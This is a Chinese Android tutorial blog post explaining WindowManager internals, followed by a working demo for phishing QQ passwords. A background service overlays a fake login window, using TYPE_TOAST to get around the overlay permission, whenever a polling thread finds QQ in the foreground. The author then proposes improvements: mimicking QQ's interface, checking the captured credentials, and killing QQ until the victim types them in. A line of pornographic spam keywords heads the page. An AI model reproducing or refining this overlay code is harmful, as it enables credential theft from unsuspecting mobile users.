欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

通過(guò)案例分析Android WindowManager解析與騙取QQ密碼的過(guò)程

 更新時(shí)間:2016年01月11日 13:44:42   作者:zhao_zepeng  
Windows Manager是一款窗口管理終端,可以遠(yuǎn)程連接到Linux的X桌面進(jìn)行管理,與服務(wù)器端產(chǎn)生一個(gè)session相互通信,通過(guò)本文給大家分享Android WindowManager解析與騙取QQ密碼的過(guò)程,需要的朋友參考下

 Windows Manager是一款窗口管理終端,可以遠(yuǎn)程連接到Linux的X桌面進(jìn)行管理,與服務(wù)器端產(chǎn)生一個(gè)session相互通信。

最近在網(wǎng)上看見一個(gè)人在烏云上提了一個(gè)漏洞,應(yīng)用可以開啟一個(gè)后臺(tái)Service,檢測(cè)當(dāng)前頂部應(yīng)用,如果為QQ或相關(guān)應(yīng)用,就彈出一個(gè)自定義window用來(lái)誘騙用戶輸入賬號(hào)密碼,挺感興趣的,總結(jié)相關(guān)知識(shí)寫了一個(gè)demo,界面如下(界面粗糙,應(yīng)該沒(méi)人會(huì)上當(dāng)吧,意思到了就行哈=, =):

這里寫圖片描述

Window&&WindowManager介紹

  分析demo之前,先要整理總結(jié)一下相關(guān)的知識(shí)。先看看Window類,Window是一個(gè)抽象類,位于代碼樹frameworks\u0008asecorejavaandroidviewWindowjava.Java文件。連同注釋,這個(gè)文件總共一千多行,它概括了Android窗口的基本屬性和基本功能。唯一實(shí)現(xiàn)了這個(gè)抽象類的是PhoneWindow,實(shí)例化PhoneWindow需要一個(gè)窗口,只需要通過(guò)WindowManager即可完成,Window類的具體實(shí)現(xiàn)位于WindowManagerService中,WindowManager和WindowManagerService的交互是一個(gè)IPC過(guò)程。Android中的所有視圖都是通過(guò)Window來(lái)呈現(xiàn)的,不管是Activity,Dialog還是Toast,他們的視圖實(shí)際上都是附加在Window上的,因此Window實(shí)際上是View的直接管理者,點(diǎn)擊事件也是由Window傳遞給view的。WindowManager.LayoutParams.type參數(shù)表示window的類型,共有三種類型,分別是應(yīng)用Window,子Window和系統(tǒng)Window。應(yīng)用Window對(duì)應(yīng)著一個(gè)Activity,類似Dialog之類的子Window不能單獨(dú)存在,他需要附屬在應(yīng)用Window上才可以,系統(tǒng)Window則不需要,比如Toast之類,可以直接顯示。每個(gè)Window都有對(duì)應(yīng)的z-orderd,層級(jí)大的window會(huì)覆蓋在層級(jí)小的window之上,應(yīng)用window的層級(jí)范圍是1~99,子window的范圍是1000~1999,系統(tǒng)window的范圍是2000~2999,這些層級(jí)范圍都對(duì)應(yīng)著相關(guān)的type,type的相關(guān)取值:官網(wǎng)鏈接和中文資料。WindowManager.LayoutParams.flags參數(shù)表示window的屬性,默認(rèn)為none,flags的相關(guān)取值:官方鏈接,還有其他的LayoutParams變量名稱和取值可以參考WindowManager.LayoutParams(上) 和WindowManager.LayoutParams(下) 兩篇譯文博客,很詳細(xì)。

  再詳細(xì)分析一下WindowManager,WindowManager主要用來(lái)管理窗口的一些狀態(tài)、屬性、view增加、刪除、更新、窗口順序、消息收集和處理等。通過(guò)代碼Context.getSystemService(Context.WINDOW_SERVICE)可以獲得WindowManager的實(shí)例。WindowManager所提供的功能很簡(jiǎn)單,常用的只有三個(gè)方法,即添加View、更新View和刪除View,這三個(gè)方法定義在ViewManager中,而WindowManager繼承了ViewManager,

addView();
updateViewLayout();
removeView();

  這些函數(shù)是用來(lái)修改Window的,它的真正實(shí)現(xiàn)是WindowManagerImpl類,WindowManagerImpl類并沒(méi)有直接實(shí)現(xiàn)Window的三大操作,而是全部交給了WindowManagerGlobal來(lái)處理,WindowManagerGlobal以工廠的形式向外提供自己的實(shí)例,在WindowManagerGlobal中有如下一段代碼:private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()。WindowManagerImpl這種工作模式是典型的橋接模式(不是裝飾者模式:區(qū)別在這),將所有的操作全部委托給WindowManagerGlobal來(lái)實(shí)現(xiàn)。

  View是Android中視圖的呈現(xiàn)方式,但是View不能單獨(dú)存在,他必須要附著在Window這個(gè)抽象的概念上面,每一個(gè)Window都對(duì)應(yīng)著一個(gè)View和一個(gè)ViewRootImpl,Window和View通過(guò)ViewRootImpl來(lái)建立聯(lián)系,因此有視圖的地方就有Window,比如常見的Activity,Dialog,Toast等。

  對(duì)于每個(gè)activity只有一個(gè)decorView也就是ViewRoot,window是通過(guò)下面方法獲取的
  Window mWindow = PolicyManager.makeNewWindow(this);

創(chuàng)建完Window之后,Activity會(huì)為該Window設(shè)置回調(diào),Window接收到外界狀態(tài)改變時(shí)就會(huì)回調(diào)到Activity中。在activity中會(huì)調(diào)用setContentView()函數(shù),它是調(diào)用 window.setContentView()完成的,而Window的具體實(shí)現(xiàn)是PhoneWindow,所以最終的具體操作是在PhoneWindow中,PhoneWindow的setContentView方法第一步會(huì)檢測(cè)DecorView是否存在,如果不存在,就會(huì)調(diào)用generateDecor函數(shù)直接創(chuàng)建一個(gè)DecorView;第二步就是將Activity的視圖添加到DecorView的mContentParent中;第三步是回調(diào)Activity中的onContentChanged方法通知Activity視圖已經(jīng)發(fā)生改變。這些步驟完成之后,DecorView還沒(méi)有被WindowManager正式添加到Window中,最后調(diào)用Activity的onResume方法中的makeVisible方法才能真正地完成添加和現(xiàn)實(shí)過(guò)程,Activity的視圖才能被用戶看到。

  Dialog的Window的創(chuàng)建過(guò)程和Activity類似,第一步也是用過(guò)PolicyManager.makeNewWindow方法來(lái)創(chuàng)建一個(gè)Window,不過(guò)這里傳入的context必須要為activity的context;第二步也是通過(guò)setContentView函數(shù)去設(shè)置dialog的布局視圖;第三步調(diào)用show方法,通過(guò)WindowManager將DecorView添加到Window中顯示出來(lái)。

  Toast和Dialog不同,它稍微復(fù)雜一點(diǎn),首先Toast也是基于Window來(lái)實(shí)現(xiàn)的,但是由于Toast具有定時(shí)取消的這一個(gè)功能,所以系統(tǒng)采用了Handler。在Toast的內(nèi)部有兩類IPC過(guò)程,第一類是Toast訪問(wèn)NotificationManagerService,第二類是NotificationManagerService回調(diào)Toast里的TN接口。在Toast類中,最重要的用于顯示該toast的show方法調(diào)用了service.enqueueToast(pkg, tn, mDuration);也就是說(shuō)系統(tǒng)為我們維持了一個(gè)toast隊(duì)列,這也是為什么兩個(gè)toast不會(huì)同時(shí)顯示的原因,該方法將一個(gè)toast入隊(duì),顯示則由 系統(tǒng)維持顯示的時(shí)機(jī)。

private static INotificationManager sService;
static private INotificationManager getService() {
if (sService != null) {
return sService;
}
sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));
return sService;
}

該服務(wù)sService就是系統(tǒng)用于維護(hù)toast的服務(wù)。最后NMS會(huì)通過(guò)IPC調(diào)用Toast類內(nèi)部的一個(gè)靜態(tài)私有類TN,該類是toast的主要實(shí)現(xiàn),該類完成了toast視圖的創(chuàng)建,顯示和隱藏。

騙取QQ密碼實(shí)例

  有了上面的基礎(chǔ)之后,這個(gè)例子其實(shí)就非常簡(jiǎn)單了。

  第一步編寫一個(gè)Service并且在Service中彈出一個(gè)自定義的Window:

windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_TOAST;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
@Override
public void backCallback() {
if (v!=null && v.isAttachedToWindow())
L.e("remove view ");
windowManager.removeViewImmediate(v);
}
});
btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
} else {
et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
}
et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
0 : et_pwd.getText().length());
}
});
//useless
// v.setOnKeyListener(new View.OnKeyListener() {
// @Override
// public boolean onKey(View v, int keyCode, KeyEvent event) {
// Log.e("zhao", keyCode+"");
// if (keyCode == KeyEvent.KEYCODE_BACK) {
// windowManager.removeViewImmediate(v);
// return true;
// }
// return false;
// }
// });
//點(diǎn)擊外部消失
v.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View view, MotionEvent event) {
Rect temp = new Rect();
view.getGlobalVisibleRect(temp);
L.e("remove view ");
if (temp.contains((int)(event.getX()), (int)(event.getY()))){
windowManager.removeViewImmediate(v);
return true;
}
return false;
}
});
btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);

  這里有幾點(diǎn)需要說(shuō)明一下,第一個(gè)是type使用TYPE_TOAST而不是用TYPE_SYSTEM_ERROR是可以繞過(guò)權(quán)限的,這個(gè)是在知乎上看見有人說(shuō)的一個(gè)漏洞,哈哈;第二個(gè)是因?yàn)橛蠩dittext,所以softInputMode需要設(shè)置為SOFT_INPUT_ADJUST_PAN,要不然軟鍵盤會(huì)覆蓋Window;第三個(gè)是返回鍵的監(jiān)聽,setOnKeyListener是不好用的,最后只能復(fù)寫view類的dispatchKeyEvent函數(shù)來(lái)實(shí)現(xiàn)按鍵監(jiān)聽了;第四個(gè)是點(diǎn)擊外部消失的操作,看代碼就會(huì)明白了。

  實(shí)現(xiàn)了彈出框的彈出之后,接著就要設(shè)置一個(gè)實(shí)時(shí)監(jiān)聽,開啟一個(gè)線程,每隔幾秒去監(jiān)聽用戶正在操作的應(yīng)用是否是QQ,這個(gè)就簡(jiǎn)單多了,使用ActivityManager就可以了:

new Thread(new Runnable() {
@Override
public void run() {
while (isRunning){
L.e("running");
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
ActivityManager activityManager = (ActivityManager)
getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> list =
activityManager.getRunningAppProcesses();
if (list.get(0).processName.equals("com.tencent.mobileqq")){
myHandler.sendEmptyMessage(1);
}
}
}
}).start();

  這樣效果就差不多了,最后在Activity中啟動(dòng)該Service即可,當(dāng)然這個(gè)還有很多改進(jìn)的余地:

   1. 修改UI,使之更加的和QQ風(fēng)格相似。

   2. 用戶輸入完賬號(hào)和密碼之后,可以addView一個(gè)loadingDialog,接著調(diào)用相關(guān)接口去驗(yàn)證用戶名和密碼的正確性,不正確提示用戶重新輸入。

   3. 如果用戶不輸入賬號(hào)和密碼,直接調(diào)用killBackgrondProcess函數(shù)(需要權(quán)限),強(qiáng)硬的把QQ關(guān)閉,直到用戶輸入賬號(hào)和密碼。

以上通過(guò)案例分析Android WindowManager解析與騙取QQ密碼的過(guò)程,希望本文分享對(duì)大家有所幫助。

相關(guān)文章

  • Android中Listview點(diǎn)贊功能的實(shí)現(xiàn)

    Android中Listview點(diǎn)贊功能的實(shí)現(xiàn)

    最近一段時(shí)間在研究android方面的知識(shí),利用listview實(shí)現(xiàn)點(diǎn)贊功能,下面小編通過(guò)本文給大家介紹下基本思路,需要的朋友可以參考下
    2016-11-11
  • fragment中的add和replace方法的區(qū)別淺析

    fragment中的add和replace方法的區(qū)別淺析

    使用 FragmentTransaction 的時(shí)候,它提供了這樣兩個(gè)方法,一個(gè) add , 一個(gè) replace ,對(duì)這兩個(gè)方法的區(qū)別一直有點(diǎn)疑惑。下面小編通過(guò)本文給大家簡(jiǎn)單介紹下fragment中的add和replace方法的區(qū)別,一起看看吧
    2017-01-01
  • 利用Kotlin Tools如何快速添加Kotlin依賴詳解

    利用Kotlin Tools如何快速添加Kotlin依賴詳解

    這篇文章主要給大家介紹了關(guān)于利用Kotlin Tools如何快速添加Kotlin依賴的相關(guān)資料,文中通過(guò)圖文介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧。
    2017-11-11
  • Android學(xué)習(xí)筆記之ListView復(fù)用機(jī)制詳解

    Android學(xué)習(xí)筆記之ListView復(fù)用機(jī)制詳解

    本篇文章主要介紹了Android學(xué)習(xí)筆記之ListView復(fù)用機(jī)制詳解,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2017-02-02
  • 在Android打包中區(qū)分測(cè)試和正式環(huán)境淺析

    在Android打包中區(qū)分測(cè)試和正式環(huán)境淺析

    這篇文章主要給大家介紹了關(guān)于在Android打包中如何區(qū)分測(cè)試和正式環(huán)境的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起看看吧。
    2017-10-10
  • Android 5.0最應(yīng)該實(shí)現(xiàn)的8個(gè)期望

    Android 5.0最應(yīng)該實(shí)現(xiàn)的8個(gè)期望

    毫無(wú)疑問(wèn),Android 5 將是令人興奮的操作系統(tǒng),因?yàn)?Android4.0 至 4.4 版本之間并沒(méi)有顯著的差異,顯然谷歌會(huì)在 5.0 版本中進(jìn)行一些較大幅度的革新
    2016-01-01
  • Android設(shè)計(jì)模式之策略模式詳解

    Android設(shè)計(jì)模式之策略模式詳解

    這篇文章主要為大家詳細(xì)介紹了Android設(shè)計(jì)模式之策略模式的相關(guān)資料,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2017-08-08
  • flutter的環(huán)境安裝配置問(wèn)題及解決方法

    flutter的環(huán)境安裝配置問(wèn)題及解決方法

    Flutter是Google推出的基于Dart語(yǔ)言開發(fā)的跨平臺(tái)開源UI框架,旨在統(tǒng)一紛紛擾擾的跨平臺(tái)開發(fā)框架,在UI層面上多端共用一套Dart代碼來(lái)實(shí)現(xiàn)多平臺(tái)適配開發(fā),這篇文章主要介紹了flutter的環(huán)境安裝配置問(wèn)題,需要的朋友可以參考下
    2020-06-06
  • Android中修改設(shè)備權(quán)限的方法

    Android中修改設(shè)備權(quán)限的方法

    這篇文章主要介紹了Android中修改設(shè)備權(quán)限的方法,涉及Android源碼中設(shè)備權(quán)限的修改技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下
    2015-10-10
  • 詳解Android 進(jìn)程間通信的幾種實(shí)現(xiàn)方式

    詳解Android 進(jìn)程間通信的幾種實(shí)現(xiàn)方式

    在Android SDK中提供了4種用于跨進(jìn)程通訊的方式。這篇文章主要介紹了詳解Android 進(jìn)程間通信的幾種實(shí)現(xiàn)方式,有興趣的可以了解一下。
    2017-01-01

最新評(píng)論